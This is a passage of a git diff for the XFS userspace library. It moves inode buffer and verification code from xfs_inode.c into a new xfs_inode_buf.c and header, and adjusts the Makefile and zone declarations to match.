most of ondisk inode */ - - /* VFS inode */ - struct inode i_vnode; /* embedded VFS inode */ -} xfs_inode_t; - -/* Convert from vfs inode to xfs inode */ -static inline struct xfs_inode *XFS_I(struct inode *inode) -{ - return container_of(inode, struct xfs_inode, i_vnode); -} - -/* convert from xfs inode to vfs inode */ -static inline struct inode *VFS_I(struct xfs_inode *ip) -{ - return &ip->i_vnode; -} - -/* - * For regular files we only update the on-disk filesize when actually - * writing data back to disk. Until then only the copy in the VFS inode - * is uptodate. - */ -static inline xfs_fsize_t XFS_ISIZE(struct xfs_inode *ip) -{ - if (S_ISREG(ip->i_d.di_mode)) - return i_size_read(VFS_I(ip)); - return ip->i_d.di_size; -} - -/* - * If this I/O goes past the on-disk inode size update it unless it would - * be past the current in-core inode size. - */ -static inline xfs_fsize_t -xfs_new_eof(struct xfs_inode *ip, xfs_fsize_t new_size) -{ - xfs_fsize_t i_size = i_size_read(VFS_I(ip)); - - if (new_size > i_size) - new_size = i_size; - return new_size > ip->i_d.di_size ? new_size : 0; -} - -/* - * i_flags helper functions - */ -static inline void -__xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) -{ - ip->i_flags |= flags; -} - -static inline void -xfs_iflags_set(xfs_inode_t *ip, unsigned short flags) -{ - spin_lock(&ip->i_flags_lock); - __xfs_iflags_set(ip, flags); - spin_unlock(&ip->i_flags_lock); -} - -static inline void -xfs_iflags_clear(xfs_inode_t *ip, unsigned short flags) -{ - spin_lock(&ip->i_flags_lock); - ip->i_flags &= ~flags; - spin_unlock(&ip->i_flags_lock); -} - -static inline int -__xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) -{ - return (ip->i_flags & flags); -} - -static inline int -xfs_iflags_test(xfs_inode_t *ip, unsigned short flags) -{ - int ret; - spin_lock(&ip->i_flags_lock); - ret = __xfs_iflags_test(ip, flags); - spin_unlock(&ip->i_flags_lock); - return ret; -} - -static inline int -xfs_iflags_test_and_clear(xfs_inode_t *ip, unsigned short flags) -{ - int ret; - - spin_lock(&ip->i_flags_lock); - ret = ip->i_flags & flags; - if (ret) - ip->i_flags &= ~flags; - spin_unlock(&ip->i_flags_lock); - return ret; -} - -static inline int -xfs_iflags_test_and_set(xfs_inode_t *ip, unsigned short flags) -{ - int ret; - - spin_lock(&ip->i_flags_lock); - ret = ip->i_flags & flags; - if (!ret) - ip->i_flags |= flags; - spin_unlock(&ip->i_flags_lock); - return ret; -} - -/* - * Project quota id helpers (previously projid was 16bit only - * and using two 16bit values to hold new 32bit projid was chosen - * to retain compatibility with "old" filesystems). - */ -static inline prid_t -xfs_get_projid(struct xfs_inode *ip) -{ - return (prid_t)ip->i_d.di_projid_hi << 16 | ip->i_d.di_projid_lo; -} - -static inline void -xfs_set_projid(struct xfs_inode *ip, - prid_t projid) -{ - ip->i_d.di_projid_hi = (__uint16_t) (projid >> 16); - ip->i_d.di_projid_lo = (__uint16_t) (projid & 0xffff); -} - -/* - * In-core inode flags. - */ -#define XFS_IRECLAIM (1 << 0) /* started reclaiming this inode */ -#define XFS_ISTALE (1 << 1) /* inode has been staled */ -#define XFS_IRECLAIMABLE (1 << 2) /* inode can be reclaimed */ -#define XFS_INEW (1 << 3) /* inode has just been allocated */ -#define XFS_IFILESTREAM (1 << 4) /* inode is in a filestream dir. */ -#define XFS_ITRUNCATED (1 << 5) /* truncated down so flush-on-close */ -#define XFS_IDIRTY_RELEASE (1 << 6) /* dirty release already seen */ -#define __XFS_IFLOCK_BIT 7 /* inode is being flushed right now */ -#define XFS_IFLOCK (1 << __XFS_IFLOCK_BIT) -#define __XFS_IPINNED_BIT 8 /* wakeup key for zero pin count */ -#define XFS_IPINNED (1 << __XFS_IPINNED_BIT) -#define XFS_IDONTCACHE (1 << 9) /* don't cache the inode long term */ - -/* - * Per-lifetime flags need to be reset when re-using a reclaimable inode during - * inode lookup. This prevents unintended behaviour on the new inode from - * ocurring. - */ -#define XFS_IRECLAIM_RESET_FLAGS \ - (XFS_IRECLAIMABLE | XFS_IRECLAIM | \ - XFS_IDIRTY_RELEASE | XFS_ITRUNCATED | \ - XFS_IFILESTREAM); - -/* - * Synchronize processes attempting to flush the in-core inode back to disk. - */ - -extern void __xfs_iflock(struct xfs_inode *ip); - -static inline int xfs_iflock_nowait(struct xfs_inode *ip) -{ - return !xfs_iflags_test_and_set(ip, XFS_IFLOCK); -} - -static inline void xfs_iflock(struct xfs_inode *ip) -{ - if (!xfs_iflock_nowait(ip)) - __xfs_iflock(ip); -} - -static inline void xfs_ifunlock(struct xfs_inode *ip) -{ - xfs_iflags_clear(ip, XFS_IFLOCK); - smp_mb(); - wake_up_bit(&ip->i_flags, __XFS_IFLOCK_BIT); -} - -static inline int xfs_isiflocked(struct xfs_inode *ip) -{ - return xfs_iflags_test(ip, XFS_IFLOCK); -} - -/* - * Flags for inode locking. - * Bit ranges: 1<<1 - 1<<16-1 -- iolock/ilock modes (bitfield) - * 1<<16 - 1<<32-1 -- lockdep annotation (integers) - */ -#define XFS_IOLOCK_EXCL (1<<0) -#define XFS_IOLOCK_SHARED (1<<1) -#define XFS_ILOCK_EXCL (1<<2) -#define XFS_ILOCK_SHARED (1<<3) - -#define XFS_LOCK_MASK (XFS_IOLOCK_EXCL | XFS_IOLOCK_SHARED \ - | XFS_ILOCK_EXCL | XFS_ILOCK_SHARED) - -#define XFS_LOCK_FLAGS \ - { XFS_IOLOCK_EXCL, "IOLOCK_EXCL" }, \ - { XFS_IOLOCK_SHARED, "IOLOCK_SHARED" }, \ - { XFS_ILOCK_EXCL, "ILOCK_EXCL" }, \ - { XFS_ILOCK_SHARED, "ILOCK_SHARED" } - - -/* - * Flags for lockdep annotations. - * - * XFS_LOCK_PARENT - for directory operations that require locking a - * parent directory inode and a child entry inode. The parent gets locked - * with this flag so it gets a lockdep subclass of 1 and the child entry - * lock will have a lockdep subclass of 0. - * - * XFS_LOCK_RTBITMAP/XFS_LOCK_RTSUM - the realtime device bitmap and summary - * inodes do not participate in the normal lock order, and thus have their - * own subclasses. - * - * XFS_LOCK_INUMORDER - for locking several inodes at the some time - * with xfs_lock_inodes(). This flag is used as the starting subclass - * and each subsequent lock acquired will increment the subclass by one. - * So the first lock acquired will have a lockdep subclass of 4, the - * second lock will have a lockdep subclass of 5, and so on. It is - * the responsibility of the class builder to shift this to the correct - * portion of the lock_mode lockdep mask. - */ -#define XFS_LOCK_PARENT 1 -#define XFS_LOCK_RTBITMAP 2 -#define XFS_LOCK_RTSUM 3 -#define XFS_LOCK_INUMORDER 4 - -#define XFS_IOLOCK_SHIFT 16 -#define XFS_IOLOCK_PARENT (XFS_LOCK_PARENT << XFS_IOLOCK_SHIFT) - -#define XFS_ILOCK_SHIFT 24 -#define XFS_ILOCK_PARENT (XFS_LOCK_PARENT << XFS_ILOCK_SHIFT) -#define XFS_ILOCK_RTBITMAP (XFS_LOCK_RTBITMAP << XFS_ILOCK_SHIFT) -#define XFS_ILOCK_RTSUM (XFS_LOCK_RTSUM << XFS_ILOCK_SHIFT) - -#define XFS_IOLOCK_DEP_MASK 0x00ff0000 -#define XFS_ILOCK_DEP_MASK 0xff000000 -#define XFS_LOCK_DEP_MASK (XFS_IOLOCK_DEP_MASK | XFS_ILOCK_DEP_MASK) - -#define XFS_IOLOCK_DEP(flags) (((flags) & XFS_IOLOCK_DEP_MASK) >> XFS_IOLOCK_SHIFT) -#define XFS_ILOCK_DEP(flags) (((flags) & XFS_ILOCK_DEP_MASK) >> XFS_ILOCK_SHIFT) - -/* - * For multiple groups support: if S_ISGID bit is set in the parent - * directory, group of new file is set to that of the parent, and - * new subdirectory gets S_ISGID bit from parent. - */ -#define XFS_INHERIT_GID(pip) \ - (((pip)->i_mount->m_flags & XFS_MOUNT_GRPID) || \ - ((pip)->i_d.di_mode & S_ISGID)) - - -/* - * xfs_inode.c prototypes. - */ -void xfs_ilock(xfs_inode_t *, uint); -int xfs_ilock_nowait(xfs_inode_t *, uint); -void xfs_iunlock(xfs_inode_t *, uint); -void xfs_ilock_demote(xfs_inode_t *, uint); -int xfs_isilocked(xfs_inode_t *, uint); -uint xfs_ilock_map_shared(xfs_inode_t *); -void xfs_iunlock_map_shared(xfs_inode_t *, uint); -int xfs_ialloc(struct xfs_trans *, xfs_inode_t *, umode_t, - xfs_nlink_t, xfs_dev_t, prid_t, int, - struct xfs_buf **, xfs_inode_t **); - -uint xfs_ip2xflags(struct xfs_inode *); -uint xfs_dic2xflags(struct xfs_dinode *); -int xfs_ifree(struct xfs_trans *, xfs_inode_t *, - struct xfs_bmap_free *); -int xfs_itruncate_extents(struct xfs_trans **, struct xfs_inode *, - int, xfs_fsize_t); -int xfs_iunlink(struct xfs_trans *, xfs_inode_t *); - -void xfs_iext_realloc(xfs_inode_t *, int, int); -void xfs_iunpin_wait(xfs_inode_t *); -int xfs_iflush(struct xfs_inode *, struct xfs_buf **); -void xfs_lock_inodes(xfs_inode_t **, int, uint); -void xfs_lock_two_inodes(xfs_inode_t *, xfs_inode_t *, uint); - -xfs_extlen_t xfs_get_extsz_hint(struct xfs_inode *ip); - -#define IHOLD(ip) \ -do { \ - ASSERT(atomic_read(&VFS_I(ip)->i_count) > 0) ; \ - ihold(VFS_I(ip)); \ - trace_xfs_ihold(ip, _THIS_IP_); \ -} while (0) - -#define IRELE(ip) \ -do { \ - trace_xfs_irele(ip, _THIS_IP_); \ - iput(VFS_I(ip)); \ -} while (0) - -#endif /* __KERNEL__ */ - -int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, - struct xfs_imap *, struct xfs_dinode **, - struct xfs_buf **, uint, uint); -int xfs_iread(struct xfs_mount *, struct xfs_trans *, - struct xfs_inode *, uint); -void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); -void xfs_dinode_to_disk(struct xfs_dinode *, - struct xfs_icdinode *); -bool xfs_can_free_eofblocks(struct xfs_inode *, bool); - -#define xfs_ipincount(ip) ((unsigned int) atomic_read(&ip->i_pincount)) - -#if defined(DEBUG) -void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); -#else -#define xfs_inobp_check(mp, bp) -#endif /* DEBUG */ - -extern struct kmem_zone *xfs_inode_zone; -extern const struct xfs_buf_ops xfs_inode_buf_ops; - -#endif /* __XFS_INODE_H__ */ diff --git a/include/xfs_inode_buf.h b/include/xfs_inode_buf.h new file mode 100644 index 0000000..b5f1e22 --- /dev/null +++ b/include/xfs_inode_buf.h @@ -0,0 +1,53 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_INODE_BUF_H__ +#define __XFS_INODE_BUF_H__ + +struct xfs_inode; +struct xfs_dinode; +struct xfs_icdinode; + +/* + * Inode location information. Stored in the inode and passed to + * xfs_imap_to_bp() to get a buffer and dinode for a given inode. + */ +struct xfs_imap { + xfs_daddr_t im_blkno; /* starting BB of inode chunk */ + ushort im_len; /* length in BBs of inode chunk */ + ushort im_boffset; /* inode offset in block in bytes */ +}; + +int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, + struct xfs_imap *, struct xfs_dinode **, + struct xfs_buf **, uint, uint); +int xfs_iread(struct xfs_mount *, struct xfs_trans *, + struct xfs_inode *, uint); +void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); +void xfs_dinode_to_disk(struct xfs_dinode *, + struct xfs_icdinode *); +bool xfs_can_free_eofblocks(struct xfs_inode *, bool); + +#if defined(DEBUG) +void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); +#else +#define xfs_inobp_check(mp, bp) +#endif /* DEBUG */ + +extern const struct xfs_buf_ops xfs_inode_buf_ops; + +#endif /* __XFS_INODE_BUF_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index ed978f9..b7df144 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -16,7 +16,7 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_alloc_btree.c \ xfs_btree.c \ xfs_ialloc.c \ - xfs_inode.c \ + xfs_inode_buf.c \ xfs_inode_fork.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ diff --git a/libxfs/init.c b/libxfs/init.c index e62f26a..5c418bc 100644 --- a/libxfs/init.c +++ b/libxfs/init.c @@ -32,6 +32,8 @@ int use_xfs_buf_lock; /* global flag: use xfs_buf_t locks for MT */ static void manage_zones(int); /* setup global zones */ +kmem_zone_t *xfs_inode_zone; + /* * dev_map - map open devices to fd. */ @@ -369,7 +371,6 @@ manage_zones(int release) { extern kmem_zone_t *xfs_buf_zone; extern kmem_zone_t *xfs_ili_zone; - extern kmem_zone_t *xfs_inode_zone; extern kmem_zone_t *xfs_ifork_zone; extern kmem_zone_t *xfs_buf_item_zone; extern kmem_zone_t *xfs_da_state_zone; diff --git a/libxfs/xfs_inode.c b/libxfs/xfs_inode.c deleted file mode 100644 index 7efe1b3..0000000 --- a/libxfs/xfs_inode.c +++ /dev/null @@ -1,419 +0,0 @@ -/* - * Copyright (c) 2000-2006 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include - -kmem_zone_t *xfs_inode_zone; - -/* - * Used in xfs_itruncate_extents(). This is the maximum number of extents - * freed from a file in a single transaction. - */ -#define XFS_ITRUNC_MAX_EXTENTS 2 - -/* - * Check that none of the inode's in the buffer have a next - * unlinked field of 0. - */ -#if defined(DEBUG) -void -xfs_inobp_check( - xfs_mount_t *mp, - xfs_buf_t *bp) -{ - int i; - int j; - xfs_dinode_t *dip; - - j = mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog; - - for (i = 0; i < j; i++) { - dip = (xfs_dinode_t *)xfs_buf_offset(bp, - i * mp->m_sb.sb_inodesize); - if (!dip->di_next_unlinked) { - xfs_alert(mp, - "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", - bp); - ASSERT(dip->di_next_unlinked); - } - } -} -#endif - -static void -xfs_inode_buf_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - int i; - int ni; - - /* - * Validate the magic number and version of every inode in the buffer - */ - ni = XFS_BB_TO_FSB(mp, bp->b_length) * mp->m_sb.sb_inopblock; - for (i = 0; i < ni; i++) { - int di_ok; - xfs_dinode_t *dip; - - dip = (struct xfs_dinode *)xfs_buf_offset(bp, - (i << mp->m_sb.sb_inodelog)); - di_ok = dip->di_magic == cpu_to_be16(XFS_DINODE_MAGIC) && - XFS_DINODE_GOOD_VERSION(dip->di_version); - if (unlikely(XFS_TEST_ERROR(!di_ok, mp, - XFS_ERRTAG_ITOBP_INOTOBP, - XFS_RANDOM_ITOBP_INOTOBP))) { - xfs_buf_ioerror(bp, EFSCORRUPTED); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, - mp, dip); -#ifdef DEBUG - xfs_emerg(mp, - "bad inode magic/vsn daddr %lld #%d (magic=%x)", - (unsigned long long)bp->b_bn, i, - be16_to_cpu(dip->di_magic)); - ASSERT(0); -#endif - } - } - xfs_inobp_check(mp, bp); -} - - -static void -xfs_inode_buf_read_verify( - struct xfs_buf *bp) -{ - xfs_inode_buf_verify(bp); -} - -static void -xfs_inode_buf_write_verify( - struct xfs_buf *bp) -{ - xfs_inode_buf_verify(bp); -} - -const struct xfs_buf_ops xfs_inode_buf_ops = { - .verify_read = xfs_inode_buf_read_verify, - .verify_write = xfs_inode_buf_write_verify, -}; - - -/* - * This routine is called to map an inode to the buffer containing the on-disk - * version of the inode. It returns a pointer to the buffer containing the - * on-disk inode in the bpp parameter, and in the dipp parameter it returns a - * pointer to the on-disk inode within that buffer. - * - * If a non-zero error is returned, then the contents of bpp and dipp are - * undefined. - */ -int -xfs_imap_to_bp( - struct xfs_mount *mp, - struct xfs_trans *tp, - struct xfs_imap *imap, - struct xfs_dinode **dipp, - struct xfs_buf **bpp, - uint buf_flags, - uint iget_flags) -{ - struct xfs_buf *bp; - int error; - - buf_flags |= XBF_UNMAPPED; - error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, imap->im_blkno, - (int)imap->im_len, buf_flags, &bp, - &xfs_inode_buf_ops); - if (error) { - if (error == EAGAIN) { - ASSERT(buf_flags & XBF_TRYLOCK); - return error; - } - - if (error == EFSCORRUPTED && - (iget_flags & XFS_IGET_UNTRUSTED)) - return XFS_ERROR(EINVAL); - - xfs_warn(mp, "%s: xfs_trans_read_buf() returned error %d.", - __func__, error); - return error; - } - - *bpp = bp; - *dipp = (struct xfs_dinode *)xfs_buf_offset(bp, imap->im_boffset); - return 0; -} - -void -xfs_dinode_from_disk( - xfs_icdinode_t *to, - xfs_dinode_t *from) -{ - to->di_magic = be16_to_cpu(from->di_magic); - to->di_mode = be16_to_cpu(from->di_mode); - to->di_version = from ->di_version; - to->di_format = from->di_format; - to->di_onlink = be16_to_cpu(from->di_onlink); - to->di_uid = be32_to_cpu(from->di_uid); - to->di_gid = be32_to_cpu(from->di_gid); - to->di_nlink = be32_to_cpu(from->di_nlink); - to->di_projid_lo = be16_to_cpu(from->di_projid_lo); - to->di_projid_hi = be16_to_cpu(from->di_projid_hi); - memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = be16_to_cpu(from->di_flushiter); - to->di_atime.t_sec = be32_to_cpu(from->di_atime.t_sec); - to->di_atime.t_nsec = be32_to_cpu(from->di_atime.t_nsec); - to->di_mtime.t_sec = be32_to_cpu(from->di_mtime.t_sec); - to->di_mtime.t_nsec = be32_to_cpu(from->di_mtime.t_nsec); - to->di_ctime.t_sec = be32_to_cpu(from->di_ctime.t_sec); - to->di_ctime.t_nsec = be32_to_cpu(from->di_ctime.t_nsec); - to->di_size = be64_to_cpu(from->di_size); - to->di_nblocks = be64_to_cpu(from->di_nblocks); - to->di_extsize = be32_to_cpu(from->di_extsize); - to->di_nextents = be32_to_cpu(from->di_nextents); - to->di_anextents = be16_to_cpu(from->di_anextents); - to->di_forkoff = from->di_forkoff; - to->di_aformat = from->di_aformat; - to->di_dmevmask = be32_to_cpu(from->di_dmevmask); - to->di_dmstate = be16_to_cpu(from->di_dmstate); - to->di_flags = be16_to_cpu(from->di_flags); - to->di_gen = be32_to_cpu(from->di_gen); - - if (to->di_version == 3) { - to->di_changecount = be64_to_cpu(from->di_changecount); - to->di_crtime.t_sec = be32_to_cpu(from->di_crtime.t_sec); - to->di_crtime.t_nsec = be32_to_cpu(from->di_crtime.t_nsec); - to->di_flags2 = be64_to_cpu(from->di_flags2); - to->di_ino = be64_to_cpu(from->di_ino); - to->di_lsn = be64_to_cpu(from->di_lsn); - memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); - platform_uuid_copy(&to->di_uuid, &from->di_uuid); - } -} - -void -xfs_dinode_to_disk( - xfs_dinode_t *to, - xfs_icdinode_t *from) -{ - to->di_magic = cpu_to_be16(from->di_magic); - to->di_mode = cpu_to_be16(from->di_mode); - to->di_version = from ->di_version; - to->di_format = from->di_format; - to->di_onlink = cpu_to_be16(from->di_onlink); - to->di_uid = cpu_to_be32(from->di_uid); - to->di_gid = cpu_to_be32(from->di_gid); - to->di_nlink = cpu_to_be32(from->di_nlink); - to->di_projid_lo = cpu_to_be16(from->di_projid_lo); - to->di_projid_hi = cpu_to_be16(from->di_projid_hi); - memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); - to->di_flushiter = cpu_to_be16(from->di_flushiter); - to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); - to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); - to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); - to->di_mtime.t_nsec = cpu_to_be32(from->di_mtime.t_nsec); - to->di_ctime.t_sec = cpu_to_be32(from->di_ctime.t_sec); - to->di_ctime.t_nsec = cpu_to_be32(from->di_ctime.t_nsec); - to->di_size = cpu_to_be64(from->di_size); - to->di_nblocks = cpu_to_be64(from->di_nblocks); - to->di_extsize = cpu_to_be32(from->di_extsize); - to->di_nextents = cpu_to_be32(from->di_nextents); - to->di_anextents = cpu_to_be16(from->di_anextents); - to->di_forkoff = from->di_forkoff; - to->di_aformat = from->di_aformat; - to->di_dmevmask = cpu_to_be32(from->di_dmevmask); - to->di_dmstate = cpu_to_be16(from->di_dmstate); - to->di_flags = cpu_to_be16(from->di_flags); - to->di_gen = cpu_to_be32(from->di_gen); - - if (from->di_version == 3) { - to->di_changecount = cpu_to_be64(from->di_changecount); - to->di_crtime.t_sec = cpu_to_be32(from->di_crtime.t_sec); - to->di_crtime.t_nsec = cpu_to_be32(from->di_crtime.t_nsec); - to->di_flags2 = cpu_to_be64(from->di_flags2); - to->di_ino = cpu_to_be64(from->di_ino); - to->di_lsn = cpu_to_be64(from->di_lsn); - memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); - platform_uuid_copy(&to->di_uuid, &from->di_uuid); - } -} - -static bool -xfs_dinode_verify( - struct xfs_mount *mp, - struct xfs_inode *ip, - struct xfs_dinode *dip) -{ - if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) - return false; - - /* only version 3 or greater inodes are extensively verified here */ - if (dip->di_version < 3) - return true; - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return false; - if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc))) - return false; - if (be64_to_cpu(dip->di_ino) != ip->i_ino) - return false; - if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) - return false; - return true; -} -void -xfs_dinode_calc_crc( - struct xfs_mount *mp, - struct xfs_dinode *dip) -{ - __uint32_t crc; - - if (dip->di_version < 3) - return; - - ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); - crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, - offsetof(struct xfs_dinode, di_crc)); - dip->di_crc = xfs_end_cksum(crc); -} - -/* - * Read the disk inode attributes into the in-core inode structure. - */ -int -xfs_iread( - xfs_mount_t *mp, - xfs_trans_t *tp, - xfs_inode_t *ip, - uint iget_flags) -{ - xfs_buf_t *bp; - xfs_dinode_t *dip; - int error; - - /* - * Fill in the location information in the in-core inode. - */ - error = xfs_imap(mp, tp, ip->i_ino, &ip->i_imap, iget_flags); - if (error) - return error; - - /* - * Get pointers to the on-disk inode and the buffer containing it. - */ - error = xfs_imap_to_bp(mp, tp, &ip->i_imap, &dip, &bp, 0, iget_flags); - if (error) - return error; - - /* even unallocated inodes are verified */ - if (!xfs_dinode_verify(mp, ip, dip)) { - xfs_alert(mp, "%s: validation failed for inode %lld failed", - __func__, ip->i_ino); - - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, dip); - error = XFS_ERROR(EFSCORRUPTED); - goto out_brelse; - } - - /* - * If the on-disk inode is already linked to a directory - * entry, copy all of the inode into the in-core inode. - * xfs_iformat_fork() handles copying in the inode format - * specific information. - * Otherwise, just get the truly permanent information. - */ - if (dip->di_mode) { - xfs_dinode_from_disk(&ip->i_d, dip); - error = xfs_iformat_fork(ip, dip); - if (error) { -#ifdef DEBUG - xfs_alert(mp, "%s: xfs_iformat() returned error %d", - __func__, error); -#endif /* DEBUG */ - goto out_brelse; - } - } else { - /* - * Partial initialisation of the in-core inode. Just the bits - * that xfs_ialloc won't overwrite or relies on being correct. - */ - ip->i_d.di_magic = be16_to_cpu(dip->di_magic); - ip->i_d.di_version = dip->di_version; - ip->i_d.di_gen = be32_to_cpu(dip->di_gen); - ip->i_d.di_flushiter = be16_to_cpu(dip->di_flushiter); - - if (dip->di_version == 3) { - ip->i_d.di_ino = be64_to_cpu(dip->di_ino); - uuid_copy(&ip->i_d.di_uuid, &dip->di_uuid); - } - - /* - * Make sure to pull in the mode here as well in - * case the inode is released without being used. - * This ensures that xfs_inactive() will see that - * the inode is already free and not try to mess - * with the uninitialized part of it. - */ - ip->i_d.di_mode = 0; - } - - /* - * The inode format changed when we moved the link count and - * made it 32 bits long. If this is an old format inode, - * convert it in memory to look like a new one. If it gets - * flushed to disk we will convert back before flushing or - * logging it. We zero out the new projid field and the old link - * count field. We'll handle clearing the pad field (the remains - * of the old uuid field) when we actually convert the inode to - * the new format. We don't change the version number so that we - * can distinguish this from a real new format inode. - */ - if (ip->i_d.di_version == 1) { - ip->i_d.di_nlink = ip->i_d.di_onlink; - ip->i_d.di_onlink = 0; - xfs_set_projid(&ip->i_d, 0); - } - - ip->i_delayed_blks = 0; - - /* - * Mark the buffer containing the inode as something to keep - * around for a while. This helps to keep recently accessed - * meta-data in-core longer. - */ - xfs_buf_set_ref(bp, XFS_INO_REF); - - /* - * Use xfs_trans_brelse() to release the buffer containing the - * on-disk inode, because it was acquired with xfs_trans_read_buf() - * in xfs_imap_to_bp() above. If tp is NULL, this is just a normal - * brelse(). If we're within a transaction, then xfs_trans_brelse() - * will only release the buffer if it is not dirty within the - * transaction. It will be OK to release the buffer in this case, - * because inodes on disk are never destroyed and we will be - * locking the new in-core inode before putting it in the hash - * table where other processes can find it. Thus we don't have - * to worry about the inode being changed just because we released - * the buffer. - */ - out_brelse: - xfs_trans_brelse(tp, bp); - return error; -} diff --git a/libxfs/xfs_inode_buf.c b/libxfs/xfs_inode_buf.c new file mode 100644 index 0000000..3c811f5 --- /dev/null +++ b/libxfs/xfs_inode_buf.c @@ -0,0 +1,408 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#include + +/* + * Check that none of the inode's in the buffer have a next + * unlinked field of 0. + */ +#if defined(DEBUG) +void +xfs_inobp_check( + xfs_mount_t *mp, + xfs_buf_t *bp) +{ + int i; + int j; + xfs_dinode_t *dip; + + j = mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog; + + for (i = 0; i < j; i++) { + dip = (xfs_dinode_t *)xfs_buf_offset(bp, + i * mp->m_sb.sb_inodesize); + if (!dip->di_next_unlinked) { + xfs_alert(mp, + "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", + bp); + ASSERT(dip->di_next_unlinked); + } + } +} +#endif + +static void +xfs_inode_buf_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + int i; + int ni; + + /* + * Validate the magic number and version of every inode in the buffer + */ + ni = XFS_BB_TO_FSB(mp, bp->b_length) * mp->m_sb.sb_inopblock; + for (i = 0; i < ni; i++) { + int di_ok; + xfs_dinode_t *dip; + + dip = (struct xfs_dinode *)xfs_buf_offset(bp, + (i << mp->m_sb.sb_inodelog)); + di_ok = dip->di_magic == cpu_to_be16(XFS_DINODE_MAGIC) && + XFS_DINODE_GOOD_VERSION(dip->di_version); + if (unlikely(XFS_TEST_ERROR(!di_ok, mp, + XFS_ERRTAG_ITOBP_INOTOBP, + XFS_RANDOM_ITOBP_INOTOBP))) { + xfs_buf_ioerror(bp, EFSCORRUPTED); + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, + mp, dip); +#ifdef DEBUG + xfs_emerg(mp, + "bad inode magic/vsn daddr %lld #%d (magic=%x)", + (unsigned long long)bp->b_bn, i, + be16_to_cpu(dip->di_magic)); + ASSERT(0); +#endif + } + } + xfs_inobp_check(mp, bp); +} + +static void +xfs_inode_buf_read_verify( + struct xfs_buf *bp) +{ + xfs_inode_buf_verify(bp); +} + +static void +xfs_inode_buf_write_verify( + struct xfs_buf *bp) +{ + xfs_inode_buf_verify(bp); +} + +const struct xfs_buf_ops xfs_inode_buf_ops = { + .verify_read = xfs_inode_buf_read_verify, + .verify_write = xfs_inode_buf_write_verify, +}; + +/* + * This routine is called to map an inode to the buffer containing the on-disk + * version of the inode. It returns a pointer to the buffer containing the + * on-disk inode in the bpp parameter, and in the dipp parameter it returns a + * pointer to the on-disk inode within that buffer. + * + * If a non-zero error is returned, then the contents of bpp and dipp are + * undefined. + */ +int +xfs_imap_to_bp( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_imap *imap, + struct xfs_dinode **dipp, + struct xfs_buf **bpp, + uint buf_flags, + uint iget_flags) +{ + struct xfs_buf *bp; + int error; + + buf_flags |= XBF_UNMAPPED; + error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, imap->im_blkno, + (int)imap->im_len, buf_flags, &bp, + 